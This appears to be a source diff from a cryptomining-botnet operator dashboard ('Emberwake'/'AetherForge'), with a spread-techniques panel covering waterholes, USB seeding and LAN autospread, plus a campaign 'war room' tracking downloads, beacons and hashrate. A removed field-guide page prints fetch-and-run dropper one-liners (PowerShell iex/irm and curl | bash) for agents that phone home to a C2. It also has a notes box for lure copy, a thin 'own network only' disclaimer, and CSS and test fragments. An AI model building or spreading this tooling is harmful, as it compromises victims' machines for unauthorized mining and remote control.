export default function EmberwakePage() {
const { latestMessage } = useWebSocket();
const { notesTyping, sendNotesTyping } = usePresence();
const [builds, setBuilds] = useState<BuildRecord[]>([]);
const [publicBuilds, setPublicBuilds] = useState<PublicBuildDTO[]>([]);
const [serverBase, setServerBase] = useState('');
@@ -37,30 +57,41 @@ export default function EmberwakePage() {
const [pinB, setPinB] = useState('');
const [notes, setNotes] = useState('');
const [notesMeta, setNotesMeta] = useState('');
const [campaigns, setCampaigns] = useState<CampaignHitSummary[]>([]);
const [warRoom, setWarRoom] = useState<WarRoomResponse | null>(null);
const [warRoomUpdated, setWarRoomUpdated] = useState('');
const [warRoomView, setWarRoomView] = useState<'funnel' | 'table' | 'constellations'>('funnel');
const [highlightedCampaign, setHighlightedCampaign] = useState<string | null>(null);
const [exportBusy, setExportBusy] = useState(false);
const [siteName, setSiteName] = useState('my-blog');
const [notesBusy, setNotesBusy] = useState(false);
const typingTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
const typingActiveRef = useRef(false);
const pinned = useMemo(() => builds.filter((b) => b.pinned), [builds]);
const query = useMemo(() => combinedDropperQuery(pinA || pinned[0]?.id || '', campaign), [pinA, pinned, campaign]);
const queryB = useMemo(() => combinedDropperQuery(pinB, campaign + '-b'), [pinB, campaign]);
const loadWarRoom = useCallback(async () => {
const data = await api.getWarRoom(WAR_ROOM_DAYS);
setWarRoom(data);
setWarRoomUpdated(data.generated_at);
}, []);
const load = useCallback(async () => {
const [b, info, cfg, pub, camp, n] = await Promise.all([
const [b, info, cfg, pub, n] = await Promise.all([
api.listBuilds(),
api.getServerInfo(),
api.getConfig(),
api.listPublicBuilds(),
api.listCampaignHits(),
api.getEmberwakeNotes(),
]);
setBuilds(b);
const pubUrl = cfg.server?.public_url?.trim();
setServerBase((pubUrl || info.suggested_url || window.location.origin).replace(/\/$/, ''));
setPublicBuilds(pub.builds);
setCampaigns(camp.campaigns);
setNotes(n.content);
setNotesMeta(n.updated_by ? `${n.updated_by} · ${n.updated_at}` : '');
void loadWarRoom().catch(() => {});
if (!pinA) {
const p = b.find((x) => x.pinned);
if (p) setPinA(p.id);
@@ -69,22 +100,83 @@ export default function EmberwakePage() {
const alt = b.find((x) => !x.pinned) ?? b[1];
if (alt) setPinB(alt.id);
}
}, [pinA, pinB]);
}, [pinA, pinB, loadWarRoom]);
useEffect(() => {
void load().catch(() => {});
}, [load]);
useEffect(() => {
if (latestMessage?.type !== 'emberwake_notes_updated') return;
const p = latestMessage.payload as EmberwakeNotes;
if (p && typeof p.content === 'string') {
setNotes(p.content);
setNotesMeta(p.updated_by ? `${p.updated_by} · ${p.updated_at}` : '');
const id = window.setInterval(() => {
void loadWarRoom().catch(() => {});
}, WAR_ROOM_POLL_MS);
return () => window.clearInterval(id);
}, [loadWarRoom]);
useEffect(() => {
if (!latestMessage) return;
if (latestMessage.type === 'emberwake_notes_updated') {
const p = latestMessage.payload as EmberwakeNotes;
if (p && typeof p.content === 'string') {
setNotes(p.content);
setNotesMeta(p.updated_by ? `${p.updated_by} · ${p.updated_at}` : '');
}
return;
}
if (latestMessage.type === 'emberwake_war_room') {
const p = latestMessage.payload as WarRoomResponse;
if (p && Array.isArray(p.campaigns)) {
setWarRoom(p);
setWarRoomUpdated(p.generated_at || new Date().toISOString());
}
}
}, [latestMessage]);
const stopNotesTyping = useCallback(() => {
if (typingTimerRef.current) {
clearTimeout(typingTimerRef.current);
typingTimerRef.current = null;
}
if (typingActiveRef.current) {
typingActiveRef.current = false;
sendNotesTyping(false);
}
}, [sendNotesTyping]);
const handleNotesChange = (value: string) => {
setNotes(value);
if (typingTimerRef.current) clearTimeout(typingTimerRef.current);
typingTimerRef.current = setTimeout(() => {
if (!typingActiveRef.current) {
typingActiveRef.current = true;
sendNotesTyping(true);
}
typingTimerRef.current = setTimeout(() => stopNotesTyping(), NOTES_TYPING_IDLE_MS);
}, NOTES_TYPING_DEBOUNCE_MS);
};
useEffect(() => () => stopNotesTyping(), [stopNotesTyping]);
const handleConstellationSelect = useCallback((slug: string) => {
setHighlightedCampaign(slug);
setWarRoomView('funnel');
}, []);
useEffect(() => {
if (warRoomView !== 'funnel' || !highlightedCampaign) return;
const t = window.setTimeout(() => {
const el = document.getElementById(`war-room-campaign-${highlightedCampaign}`);
el?.scrollIntoView({ behavior: 'smooth', block: 'nearest' });
}, 80);
const clear = window.setTimeout(() => setHighlightedCampaign(null), 3200);
return () => {
window.clearTimeout(t);
window.clearTimeout(clear);
};
}, [warRoomView, highlightedCampaign]);
const saveNotes = async () => {
stopNotesTyping();
setNotesBusy(true);
try {
const n = await api.putEmberwakeNotes(notes);
@@ -108,7 +200,7 @@ export default function EmberwakePage() {
};
return (
<div className="page emberwake-page">
<div className="page emberwake-page operator-deck-page">
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">SPREAD · WATERHOLE · KINDLING</p>
@@ -119,18 +211,32 @@ export default function EmberwakePage() {
</div>
</header>
<div className="spread-section spread-section--ember">
<AlsoHere page="/emberwake" />
<div className="spread-section spread-section--ember operator-deck-card operator-interactive">
<h3>How to spread</h3>
<ul className="form-hint" style={{ margin: 0, paddingLeft: '1.2rem' }}>
<li><strong>Web waterhole</strong> export spread kit ZIP, upload to S3 / Cloudflare Pages / owned CMS.</li>
<li><strong>curl | bash VPS</strong> paste one-liners below on a headless server session.</li>
<li><strong>Fusion media</strong> forge Desktop Fusion profile, seed USB or shared folders.</li>
<li><strong>LAN kindling</strong> universal spread kit + autospread; deploy.bat on reachable hosts.</li>
<li><strong>A/B droppers</strong> pin build A vs B; rotate campaign links between waves.</li>
<p className="form-hint" style={{ marginTop: 0 }}>
Operator instructions (no login):{' '}
<a href="/spread/">Spread kit landing</a>
{' · '}
Full threat-intel matrix:{' '}
<a href={SPREAD_TECHNIQUES_DOC} target="_blank" rel="noreferrer">
SPREAD_TECHNIQUES.md
</a>
</p>
<ul className="emberwake-technique-list">
{EMBERWAKE_TECHNIQUE_LINKS.map((t) => (
<li key={t.label}>
<strong>{t.label}</strong> {t.hint}{' '}
<a href={spreadTechniqueDocUrl(t.anchor)} target="_blank" rel="noreferrer">
playbook §
</a>
</li>
))}
</ul>
</div>
<div className="card" style={{ marginBottom: '1rem' }}>
<div className="card operator-deck-card operator-interactive" style={{ marginBottom: '1rem' }}>
<h2>Campaign builder</h2>
<div className="form-group">
<label className="label" htmlFor="ew-campaign">Campaign slug (?c=)</label>
@@ -177,9 +283,13 @@ export default function EmberwakePage() {
)}
</div>
<div className="spread-section spread-section--cyan">
<div className="spread-section spread-section--cyan operator-deck-card operator-interactive">
<h3>Spread kit export</h3>
<p className="form-hint">Zips customized <code>spread-kit-web-publisher/</code> templates for your server URL + campaign.</p>
<p className="form-hint">
Zips customized <code>spread-kit-web-publisher/</code> templates for your server URL + campaign.
{' '}
<a href="/spread/">View on-server instructions</a> at <code>/spread/</code> (synced from repo templates).
</p>
<div className="emberwake-ab-row">
<input className="input mono" style={{ flex: 1 }} value={serverBase} onChange={(e) => setServerBase(e.target.value)} />
<button type="button" className="btn btn-primary" disabled={exportBusy || !serverBase} onClick={() => void exportKit()}>
@@ -188,7 +298,19 @@ export default function EmberwakePage() {
</div>
</div>
<div className="spread-section spread-section--gold">
<SupplyChainExportWizard
builds={builds}
serverBase={serverBase}
onServerBaseChange={setServerBase}
pinA={pinA}
onPinAChange={setPinA}
campaign={campaign}
onCampaignChange={setCampaign}
siteName={siteName}
onSiteNameChange={setSiteName}
/>
<div className="spread-section spread-section--gold operator-deck-card operator-interactive">
<h3>Public build URLs</h3>
<p className="form-hint">Authenticated deck sees all builds; login page lists pinned + public + latest 3 (or all if Calibrate public builds enabled).</p>
<ul style={{ margin: 0, padding: 0, listStyle: 'none' }}>
@@ -205,28 +327,194 @@ export default function EmberwakePage() {
</ul>
</div>
{campaigns.length > 0 && (
<div className="spread-section spread-section--violet">
<h3>Campaign hits</h3>
<ul className="emberwake-campaign-list">
{campaigns.map((c) => (
<li key={c.campaign}>
<span><code>{c.campaign}</code></span>
<span>{c.count} hits · {c.last_hit ? new Date(c.last_hit).toLocaleString() : '—'}</span>
</li>
))}
</ul>
<div
id="campaign-war-room"
className="spread-section spread-section--war-room operator-deck-card operator-interactive"
>
<h3>Campaign War Room</h3>
<div className="war-room-toolbar">
<span>
Live funnel hits downloads first beacon mining hashrate per <code>?c=</code> slug (last {WAR_ROOM_DAYS}d)
</span>
<div className="war-room-toolbar-right">
<div className="war-room-view-toggle" role="group" aria-label="War room view">
<button
type="button"
className={`btn btn-sm ${warRoomView === 'funnel' ? 'btn-primary' : 'btn-outline'}`}
onClick={() => setWarRoomView('funnel')}
>
Funnel board
</button>
<button
type="button"
className={`btn btn-sm ${warRoomView === 'table' ? 'btn-primary' : 'btn-outline'}`}
onClick={() => setWarRoomView('table')}
>
Stats table
</button>
<button
type="button"
className={`btn btn-sm ${warRoomView === 'constellations' ? 'btn-primary' : 'btn-outline'}`}
onClick={() => setWarRoomView('constellations')}
>
Constellations
</button>
</div>
<span>
{warRoomUpdated ? `Updated ${new Date(warRoomUpdated).toLocaleTimeString()}` : 'Loading…'}
{' · '}poll {WAR_ROOM_POLL_MS / 1000}s · WS 30s
</span>
</div>
</div>
)}
{warRoom && warRoom.campaigns.length > 0 ? (
warRoomView === 'constellations' ? (
<CampaignConstellations
campaigns={warRoom.campaigns}
onSelectCampaign={handleConstellationSelect}
/>
) : warRoomView === 'funnel' ? (
<WarRoomFunnelBoard
campaigns={warRoom.campaigns}
days={warRoom.days || WAR_ROOM_DAYS}
refreshKey={warRoomUpdated}
highlightCampaign={highlightedCampaign}
/>
) : (
<div className="war-room-table-wrap">
<table className="war-room-table">
<thead>
<tr>
<th>Campaign</th>
<th>Hits</th>
<th>Downloads</th>
<th>Beacon</th>
<th>Mining</th>
<th>Agents</th>
<th>Online</th>
<th>Hashrate</th>
<th>Conv %</th>
<th>7d trend</th>
</tr>
</thead>
<tbody>
{warRoom.campaigns.map((c, rowIndex) => {
const max = sparklineMax(c.daily_hits);
const beacon = c.first_beacon ?? c.agents;
const mining = c.mining ?? (c.hashrate > 0 ? 1 : 0);
return (
<tr key={c.campaign}>
<td>
<code>{c.campaign}</code>
{c.last_activity ? (
<span className="form-hint" style={{ display: 'block', marginTop: '0.15rem' }}>
{new Date(c.last_activity).toLocaleDateString()}
</span>
) : null}
</td>
<td>
<WarRoomOdometer
value={c.hits}
staggerMs={staggerDelayMs(rowIndex, 0)}
showDelta
/>
</td>
<td>
<WarRoomOdometer
value={c.downloads}
staggerMs={staggerDelayMs(rowIndex, 1)}
showDelta
/>
</td>
<td>
<WarRoomOdometer
value={beacon}
staggerMs={staggerDelayMs(rowIndex, 2)}
showDelta
/>
</td>
<td>
<WarRoomOdometer
value={mining}
staggerMs={staggerDelayMs(rowIndex, 3)}
showDelta
/>
</td>
<td>
<WarRoomOdometer
value={c.agents}
staggerMs={staggerDelayMs(rowIndex, 4)}
/>
</td>
<td className="war-room-online">
<WarRoomOdometer
value={c.online}
staggerMs={staggerDelayMs(rowIndex, 5)}
/>
</td>
<td>
<WarRoomOdometer
value={c.hashrate}
format={(n) => formatHashrate(n)}
staggerMs={staggerDelayMs(rowIndex, 6)}
showDelta
/>
</td>
<td className="war-room-conv">
<WarRoomOdometer
value={c.conversion_pct}
format={(n) => n.toFixed(1)}
suffix="%"
staggerMs={staggerDelayMs(rowIndex, 7)}
showDelta
/>
</td>
<td>
<div className="war-room-sparkline" title={c.daily_hits.join(', ')}>
{c.daily_hits.map((v, i) => (
<span
key={i}
style={{ height: `${sparklineBarHeight(v, max)}%` }}
/>
))}
</div>
</td>
</tr>
);
})}
</tbody>
</table>
</div>
)
) : (
<p className="war-room-empty">
No campaign activity in the last {WAR_ROOM_DAYS} days. Share dropper links with <code>?c=your-slug</code> to populate the funnel.
</p>
)}
</div>
<div className="card">
<div className="card operator-deck-card operator-interactive">
<h2>Shared notes</h2>
<p className="form-hint">Synced live to every logged-in operator{notesMeta ? ` — last edit: ${notesMeta}` : ''}.</p>
{notesTyping?.active && (
<div className="emberwake-typing-banner" role="status">
<ComradeAvatar user={notesTyping.user} size="sm" title={`${notesTyping.user} is editing notes`} />
<span className="emberwake-typing-body">
<strong>{notesTyping.user}</strong> is editing notes
<span className="typing-dots" aria-hidden>
<span />
<span />
<span />
</span>
<span className="emberwake-typing-cursor" aria-hidden />
</span>
</div>
)}
<textarea
className="input emberwake-notes"
rows={6}
value={notes}
onChange={(e) => setNotes(e.target.value)}
onChange={(e) => handleNotesChange(e.target.value)}
onBlur={() => stopNotesTyping()}
placeholder="Paste lure copy, host paths, rotation schedule…"
/>
<button type="button" className="btn btn-primary" style={{ marginTop: '0.5rem' }} disabled={notesBusy} onClick={() => void saveNotes()}>

View File

@@ -1,24 +0,0 @@
/**
* @vitest-environment happy-dom
*/
import { afterEach, describe, expect, it } from 'vitest';
import { cleanup, render, screen } from '@testing-library/react';
import { MemoryRouter } from 'react-router-dom';
import GuidePage from './GuidePage';
import { routerFuture } from '../routerFuture';
describe('GuidePage', () => {
afterEach(() => cleanup());
it('renders field guide hero and pipeline section', () => {
render(
<MemoryRouter future={routerFuture}>
<GuidePage />
</MemoryRouter>
);
expect(screen.getByText('OPERATIONS MANUAL')).toBeTruthy();
expect(screen.getByRole('heading', { name: /Field Guide/i })).toBeTruthy();
expect(screen.getByRole('heading', { name: /Live pipeline/i })).toBeTruthy();
expect(screen.getByRole('heading', { name: /Forge vs Calibrate/i })).toBeTruthy();
});
});

View File

@@ -1,230 +0,0 @@
import { Link } from 'react-router-dom';
import NeonCard from '../components/NeonCard/NeonCard';
import {
CHEAT_SECTIONS,
PIPELINE_STEPS,
TROUBLESHOOTING,
type CheatStep,
} from '../help/cheatSheetContent';
import {
ForgeCalibrateCompare,
PipelineFlow,
RoadmapGrid,
} from '../components/Visual/VisualComponents';
import './Pages.css';
/** Inline code block with copy button */
function CodeBlock({ code }: { code: string }) {
const copy = () => navigator.clipboard?.writeText(code);
return (
<div className="guide-code-block">
<pre className="guide-code-pre">{code}</pre>
<button type="button" className="guide-code-copy" onClick={copy} title="Copy to clipboard">
Copy
</button>
</div>
);
}
/** A single step card — shows body, tips, optional code example, optional nav button */
function StepCard({ step }: { step: CheatStep }) {
return (
<div className="guide-step-card">
<div className="guide-step-num">{step.icon}</div>
<div className="guide-step-body">
<h4>{step.title} <span className="guide-step-sub"> {step.subtitle}</span></h4>
<p>{step.body}</p>
{step.tips && (
<ul className="guide-tips">
{step.tips.map((t) => <li key={t}>{t}</li>)}
</ul>
)}
{step.code && <CodeBlock code={step.code} />}
</div>
{step.route && (
<Link to={step.route} className="btn btn-outline btn-sm guide-step-btn">
{step.routeLabel || 'Open'}
</Link>
)}
</div>
);
}
/** ASCII topology diagram — home LAN control deck */
function TopologyDiagram() {
const lines = [
' ┌──────────────────────────────────────────────────────────────────────┐',
' │ Control PC (USB portable or dev install) │',
' │ │',
' │ ┌──────────────────────────────────────────────────────────────┐ │',
' │ │ LAUNCH.bat → AetherForge.exe on 0.0.0.0:8989 │ │',
' │ │ Dashboard: http://localhost:8989 │ │',
' │ │ Calibrate: set LAN public URL + wallet + TLS pool presets │ │',
' │ └────────────────────────┬─────────────────────────────────────┘ │',
' └────────────────────────────│─────────────────────────────────────────┘',
' │ LAN http://192.168.x.x:8989',
' ┌────────────────┼────────────────┐',
' ▼ ▼ ▼',
' [Worker PC] [Worker PC] [Worker PC]',
' forged agent forged agent forged agent',
' phones home phones home phones home',
];
return (
<div className="guide-topology">
<pre className="guide-topology-pre">{lines.join('\n')}</pre>
</div>
);
}
export default function GuidePage() {
return (
<div className="page fade-in command-deck">
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">OPERATIONS MANUAL</p>
<h1>Field Guide</h1>
<p className="page-subtitle">
Everything you need pipeline, network topology, one-liner commands, Fusion, AI Autonomy, and fixes for when things break.
</p>
</div>
</header>
{/* ── Live pipeline ── */}
<NeonCard accent="cyan" className="section" hud>
<h2 className="section-title font-display">
<span className="section-ornament"></span> Live pipeline
<span className="section-line" />
</h2>
<PipelineFlow />
</NeonCard>
{/* ── Network topology ── */}
<NeonCard accent="amber" className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> Network topology
<span className="section-line" />
</h2>
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
AetherForge binds to <code className="mono-sm">0.0.0.0:8989</code>. You operate the dashboard at{' '}
<code className="mono-sm">http://localhost:8989</code> on the control PC; workers on your LAN use the
detected LAN URL baked at Forge time. Optional external tunneling can run on a separate machine later.
</p>
<TopologyDiagram />
<div className="guide-step-card" style={{ marginTop: '1rem' }}>
<div className="guide-step-num">💡</div>
<div className="guide-step-body">
<h4>Home LAN setup</h4>
<ul className="guide-tips">
<li>Run <code className="mono-sm">LAUNCH.bat</code> (USB) or <code className="mono-sm">devrun.bat</code> (dev)</li>
<li>
<Link to="/settings" className="guide-link">Calibrate</Link> Use detected LAN Use best defaults Save
</li>
<li>Forge Control Endpoint: <code className="mono-sm">http://192.168.x.x:8989</code> (your LAN IP)</li>
<li>Backup C2 URLs auto-fill from other LAN IPs on the control host</li>
<li>First login: LAUNCH window or <code className="mono-sm">data\login-credentials.json</code></li>
<li>Optional: external tunnel on another machine can forward to this PC on port 8989</li>
</ul>
<CodeBlock code={`# Typical flow:
LAUNCH.bat
# Browser: http://localhost:8989
# Calibrate public URL: http://192.168.1.50:8989
# Forge control endpoint: same LAN URL`} />
</div>
</div>
</NeonCard>
{/* ── Forge vs Calibrate ── */}
<section className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> Forge vs Calibrate what goes where
<span className="section-line" />
</h2>
<ForgeCalibrateCompare />
</section>
{/* ── Dropper one-liners quick-ref ── */}
<NeonCard accent="green" className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> Dropper one-liners
<span className="section-line" />
</h2>
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
Pin a build in <Link to="/builds" className="guide-link">Build Manager</Link> first replace the host with your
Calibrate LAN URL (or your optional external tunnel URL). Terminal closes automatically after the agent launches.
</p>
<div className="guide-dropper-grid">
<div className="guide-dropper-item">
<span className="guide-dropper-os">Windows</span>
<CodeBlock code={`iex (irm 'http://192.168.1.50:8989/install.ps1')`} />
</div>
<div className="guide-dropper-item">
<span className="guide-dropper-os">Linux / macOS</span>
<CodeBlock code={`curl -sL http://192.168.1.50:8989/install.sh | bash`} />
</div>
<div className="guide-dropper-item">
<span className="guide-dropper-os">Direct binary</span>
<CodeBlock code={`http://192.168.1.50:8989/get?os=windows
http://192.168.1.50:8989/get?os=linux
http://192.168.1.50:8989/get`} />
</div>
</div>
<p className="form-hint" style={{ marginTop: '0.5rem' }}>
Dropper endpoints are unauthenticated the URL is the gate. Dashboard requires login. Workers must be on a network that can reach your LAN control URL.
</p>
</NeonCard>
{/* ── Detailed section steps ── */}
{CHEAT_SECTIONS.filter((s) => s.steps && s.id !== 'pipeline').map((section) => (
<section key={section.id} className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> {section.title}
<span className="section-line" />
</h2>
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>{section.description}</p>
{section.steps?.map((step) => <StepCard key={step.id} step={step} />)}
</section>
))}
{/* ── Step-by-step pipeline detail ── */}
<section className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> Step-by-step (pipeline detail)
<span className="section-line" />
</h2>
{PIPELINE_STEPS.map((step) => <StepCard key={step.id} step={step} />)}
</section>
{/* ── Troubleshooting ── */}
<section className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> Troubleshooting
<span className="section-line" />
</h2>
<NeonCard accent="amber">
{TROUBLESHOOTING.map((t) => (
<div key={t.problem} className="trouble-card">
<strong>{t.problem}</strong>
<span>{t.fix}</span>
</div>
))}
</NeonCard>
</section>
{/* ── Roadmap ── */}
<section className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> Feature status
<span className="section-line" />
</h2>
<p className="form-hint" style={{ marginBottom: '1rem' }}>
Shipped (high), in progress (medium), and planned (low) capabilities.
</p>
<RoadmapGrid />
</section>
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
</footer>
</div>
);
}

View File

@@ -0,0 +1,502 @@
/* Mission Deck — video-game loadout screen (/mission-deck) */
.mission-deck {
--deck-accent: #ff8c3a;
--deck-accent-dim: rgba(255, 140, 58, 0.35);
--deck-glow: rgba(255, 140, 58, 0.55);
--loadout-grid-gap: 1.25rem;
}
.mission-deck .deck-hero::after {
background: linear-gradient(90deg, var(--deck-accent), transparent);
box-shadow: 0 0 14px var(--deck-glow);
}
.mission-deck .deck-eyebrow {
color: var(--deck-accent);
}
.mission-deck-ops-dock {
display: flex;
flex-wrap: wrap;
gap: 0.5rem;
align-items: center;
}
/* ── Three-column loadout grid ── */
.mission-loadout {
display: grid;
grid-template-columns: minmax(200px, 240px) minmax(280px, 1fr) minmax(260px, 320px);
gap: var(--loadout-grid-gap);
align-items: start;
}
@media (max-width: 1100px) {
.mission-loadout {
grid-template-columns: 1fr 1fr;
grid-template-areas:
'modes kit'
'preview preview';
}
.mission-loadout-modes { grid-area: modes; }
.mission-loadout-preview { grid-area: preview; }
.mission-loadout-kit { grid-area: kit; }
}
@media (max-width: 680px) {
.mission-loadout {
grid-template-columns: 1fr;
grid-template-areas:
'modes'
'preview'
'kit';
}
}
.mission-loadout-col {
display: flex;
flex-direction: column;
gap: 0.85rem;
}
.loadout-col-label {
margin: 0;
font-size: 0.68rem;
letter-spacing: 0.14em;
text-transform: uppercase;
color: var(--deck-accent);
padding-left: 0.15rem;
}
/* ── LEFT: operation mode chips ── */
.loadout-mode-chips {
display: flex;
flex-direction: column;
gap: 0.55rem;
}
.loadout-mode-chip {
position: relative;
display: flex;
align-items: flex-start;
gap: 0.65rem;
width: 100%;
padding: 0.85rem 0.75rem;
border-radius: 10px;
border: 1px solid rgba(255, 255, 255, 0.1);
background: rgba(0, 0, 0, 0.38);
cursor: pointer;
text-align: left;
color: inherit;
font: inherit;
transition:
transform 0.22s ease,
border-color 0.25s ease,
box-shadow 0.3s ease,
background 0.25s ease;
overflow: hidden;
}
.loadout-mode-chip:hover:not(:disabled) {
transform: translateX(4px);
border-color: rgba(255, 255, 255, 0.22);
}
.loadout-mode-chip.selected {
border-color: var(--chip-accent, var(--deck-accent));
background: color-mix(in srgb, var(--chip-accent, var(--deck-accent)) 10%, rgba(0, 0, 0, 0.45));
box-shadow:
0 0 22px color-mix(in srgb, var(--chip-accent, var(--deck-accent)) 30%, transparent),
inset 0 0 0 1px color-mix(in srgb, var(--chip-accent, var(--deck-accent)) 25%, transparent);
}
.loadout-mode-chip:disabled {
opacity: 0.55;
cursor: not-allowed;
}
.loadout-chip-icon {
font-size: 1.35rem;
line-height: 1;
flex-shrink: 0;
filter: drop-shadow(0 0 6px var(--chip-accent, var(--deck-accent)));
}
.loadout-chip-body {
display: flex;
flex-direction: column;
gap: 0.2rem;
min-width: 0;
}
.loadout-chip-label {
font-family: var(--font-tech, monospace);
font-size: 0.82rem;
letter-spacing: 0.06em;
text-transform: uppercase;
color: var(--chip-accent, var(--deck-accent));
}
.loadout-chip-blurb {
font-size: 0.7rem;
color: var(--text-secondary);
line-height: 1.35;
}
.loadout-chip-glow {
position: absolute;
inset: 0;
pointer-events: none;
opacity: 0;
transition: opacity 0.3s ease;
background: linear-gradient(
105deg,
transparent 40%,
color-mix(in srgb, var(--chip-accent, var(--deck-accent)) 18%, transparent) 100%
);
}
.loadout-mode-chip.selected .loadout-chip-glow {
opacity: 1;
}
.loadout-forge-hint {
margin: 0.25rem 0 0;
font-size: 0.75rem;
}
/* ── CENTER: 3D preview stage ── */
.loadout-preview-card {
text-align: center;
padding: 1.25rem 1rem 1.5rem;
--preview-accent: var(--deck-accent);
}
.loadout-preview-stage {
position: relative;
height: 180px;
margin: 0 auto 1.25rem;
max-width: 260px;
display: flex;
align-items: center;
justify-content: center;
}
.loadout-preview-ring {
position: absolute;
inset: 0;
border-radius: 50%;
border: 2px solid color-mix(in srgb, var(--preview-accent) 45%, transparent);
box-shadow:
0 0 30px color-mix(in srgb, var(--preview-accent) 35%, transparent),
inset 0 0 24px color-mix(in srgb, var(--preview-accent) 15%, transparent);
animation: loadout-ring-spin 18s linear infinite;
}
.loadout-preview-ring::before {
content: '';
position: absolute;
inset: 12px;
border-radius: 50%;
border: 1px dashed color-mix(in srgb, var(--preview-accent) 30%, transparent);
animation: loadout-ring-spin 12s linear infinite reverse;
}
.loadout-preview-avatar {
position: relative;
z-index: 1;
width: 96px;
height: 96px;
border-radius: 16px;
display: flex;
align-items: center;
justify-content: center;
background: linear-gradient(
145deg,
color-mix(in srgb, var(--preview-accent) 22%, rgba(0, 0, 0, 0.6)),
rgba(0, 0, 0, 0.75)
);
border: 1px solid color-mix(in srgb, var(--preview-accent) 50%, transparent);
box-shadow: 0 0 28px color-mix(in srgb, var(--preview-accent) 40%, transparent);
transform: perspective(600px) rotateX(8deg);
transition: transform 0.4s cubic-bezier(0.23, 1, 0.32, 1);
}
.loadout-preview-card:hover .loadout-preview-avatar {
transform: perspective(600px) rotateX(4deg) translateY(-6px) scale(1.04);
}
.loadout-preview-sigil {
font-size: 2.4rem;
color: var(--preview-accent);
text-shadow: 0 0 16px var(--preview-accent);
animation: loadout-sigil-pulse 2.8s ease-in-out infinite;
}
.loadout-preview-scanlines {
position: absolute;
inset: 0;
border-radius: 50%;
pointer-events: none;
background: repeating-linear-gradient(
0deg,
transparent,
transparent 3px,
rgba(0, 0, 0, 0.06) 3px,
rgba(0, 0, 0, 0.06) 4px
);

View File

@@ -0,0 +1,107 @@
/**
* @vitest-environment happy-dom
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { cleanup, render, screen, waitFor } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
import { MemoryRouter } from 'react-router-dom';
import MissionDeckPage from './MissionDeckPage';
import { ForgeProvider } from '../context/ForgeContext';
import { routerFuture } from '../routerFuture';
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
import { api } from '../api/client';
vi.mock('../context/PresenceContext', () => ({
usePresence: () => ({
othersOnPage: [],
comrades: [],
comradesHere: () => [],
othersOnline: false,
}),
}));
function renderMissionDeck() {
return render(
<MemoryRouter initialEntries={['/mission-deck']} future={routerFuture}>
<ForgeProvider>
<MissionDeckPage />
</ForgeProvider>
</MemoryRouter>,
);
}
describe('MissionDeckPage', () => {
beforeEach(() => {
vi.clearAllMocks();
localStorage.clear();
vi.spyOn(api, 'getConfig').mockResolvedValue(mockServerConfig());
vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo);
vi.spyOn(api, 'listBuilds').mockResolvedValue([]);
vi.spyOn(api, 'buildAgent').mockResolvedValue({
success: true,
build_id: 'deck-build-1',
file_name: 'worker-deck.exe',
file_size: 4096,
download_url: '/api/v1/builds/deck-build-1/download',
});
vi.spyOn(api, 'exportSpreadKit').mockResolvedValue(undefined);
vi.stubGlobal('navigator', {
clipboard: { writeText: vi.fn().mockResolvedValue(undefined) },
});
});
afterEach(() => {
vi.unstubAllGlobals();

File diff suppressed because it is too large Load Diff

View File

@@ -1756,6 +1756,237 @@ button.deliverable-card .form-hint {
color: #f5a623 !important;
}
/* Forge mission ritual wizard (simple mode) */
.forge-mission-wizard {
margin-bottom: 1rem;
padding: 1rem 1.25rem;
border: 1px solid rgba(61, 214, 198, 0.35);
background: rgba(61, 214, 198, 0.06);
}
.forge-mission-wizard-pills {
display: flex;
flex-wrap: wrap;
gap: 0.4rem;
margin: 0.75rem 0 1rem;
}
.forge-mission-wizard-pill {
display: inline-flex;
align-items: center;
gap: 0.4rem;
padding: 0.3rem 0.75rem;
border-radius: 999px;
border: 1px solid rgba(255, 255, 255, 0.14);
background: rgba(0, 0, 0, 0.25);
color: var(--text-secondary);
font-size: 0.78rem;
font-family: var(--font-tech, monospace);
cursor: pointer;
transition: border-color 0.2s, box-shadow 0.2s, color 0.2s, background 0.2s;
}
.forge-mission-wizard-pill:hover:not(:disabled) {
border-color: rgba(61, 214, 198, 0.55);
color: var(--neon-cyan, #3dd6c6);
box-shadow: 0 0 14px rgba(61, 214, 198, 0.22);
background: rgba(61, 214, 198, 0.08);
}
.forge-mission-wizard-pill.done {
border-color: rgba(74, 222, 128, 0.45);
color: var(--neon-green, #6f6);
}
.forge-mission-wizard-pill.active {
border-color: rgba(61, 214, 198, 0.65);
color: var(--neon-cyan, #3dd6c6);
box-shadow: 0 0 16px rgba(61, 214, 198, 0.28);
background: rgba(61, 214, 198, 0.1);
}
.forge-mission-wizard-pill:disabled {
opacity: 0.55;
cursor: not-allowed;
}
.forge-mission-wizard-pill-num {
display: inline-flex;
align-items: center;
justify-content: center;
width: 1.15rem;
height: 1.15rem;
border-radius: 50%;
font-size: 0.68rem;
background: rgba(255, 255, 255, 0.08);
}
.forge-mission-wizard-panel {
min-height: 4.5rem;
}
.forge-mission-wizard-nav {
display: flex;
flex-wrap: wrap;
gap: 0.5rem;
align-items: center;
margin-top: 0.85rem;
}
.forge-mission-chip-grid {
display: flex;
flex-wrap: wrap;
gap: 0.5rem;
}
.forge-mission-op-chip {
min-width: 6.5rem;
padding: 0.55rem 0.85rem;
border-radius: 10px;
border: 1px solid rgba(255, 255, 255, 0.14);
background: rgba(0, 0, 0, 0.3);
color: var(--text-secondary);
font-family: var(--font-tech, monospace);
font-size: 0.82rem;
cursor: pointer;
text-align: left;
